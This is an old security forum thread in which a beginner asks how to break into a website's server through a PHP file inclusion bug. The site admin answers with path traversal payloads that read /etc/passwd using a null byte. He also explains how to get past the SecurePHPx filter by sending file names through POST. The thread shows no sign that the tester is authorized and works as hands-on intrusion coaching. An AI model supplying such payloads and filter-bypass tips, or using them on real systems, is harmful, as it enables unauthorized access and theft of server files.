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www.waraxe.us Forum Index -> Newbies corner -> Security Test
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Security Test
PostPosted: Wed May 10, 2006 4:12 pm Reply with quote
TapDunk
Beginner
Beginner
 
Joined: Apr 30, 2006
Posts: 4




Testing the security of a target website. If target.com has exploit where request is not validated how can I defeat with remote file inclusion. Is there a tool available that does that.

Example:

http://target.com/index.php?mod= is susceptible to multiple injections. That returns this error.
Quote:
Warning: main(extensions/.php): failed to open stream: No such file or directory in /home/username/public_html/index.php on line 156

Warning: main(extensions/.php): failed to open stream: No such file or directory in /home/username/public_html/index.php on line 156

Warning: main(): Failed opening 'extensions/.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/username/public_html/index.php on line 156


How can I enter server with such an exploit? Open to suggestions.
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PostPosted: Wed May 10, 2006 4:22 pm Reply with quote
waraxe
Site admin
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




This seems to be potential local file inclusion bug.
Try for example:

Code:


http://target.com/index.php?mod=../index

http://target.com/index.php?mod=../../../../../../../../../../../../etc/passwd%00



and check "extensions" directory for possible listing:

Code:

http://target.com/extensions/
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PostPosted: Wed May 10, 2006 5:31 pm Reply with quote
TapDunk
Beginner
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Joined: Apr 30, 2006
Posts: 4




Ok thanx for that. Server protected by SecurePHPx. Script blocked to prevent further abuse or action.

How did I get around that?
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PostPosted: Wed May 10, 2006 5:41 pm Reply with quote
TapDunk
Beginner
Beginner
 
Joined: Apr 30, 2006
Posts: 4




When I try the first injection I get this err tho.

Quote:
Fatal error: Cannot redeclare rendertable_interface() (previously declared in /home/username/public_html/ADMIN/Utils.php:90) in /home/username/public_html/ADMIN/Utils.php on line 89
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PostPosted: Wed May 10, 2006 8:37 pm Reply with quote
waraxe
Site admin
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




TapDunk wrote:
When I try the first injection I get this err tho.

Quote:
Fatal error: Cannot redeclare rendertable_interface() (previously declared in /home/username/public_html/ADMIN/Utils.php:90) in /home/username/public_html/ADMIN/Utils.php on line 89


You see - new pieces of information are popping up Smile

This type of bug is not very easy to exploit. It all depends on software environment and other factors.

There are lots of various advisories about local file inclusion bugs:

http://www.google.com/search?hl=en&lr=&q=php+local+file+inclusion&btnG=Search

I suggest to try to include different files, analize error messages, try to determine software platform and if it's opensource, download source code and search for bugs. Determine, if "magic_quotes" is on or off. If it's off, then "poison null" should work and because that stupid "SecurePHPx" is filtering GET requests, use POST operation to deliver file names.
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PostPosted: Wed May 10, 2006 8:45 pm Reply with quote
TapDunk
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Joined: Apr 30, 2006
Posts: 4




ok thnx man Very Happy
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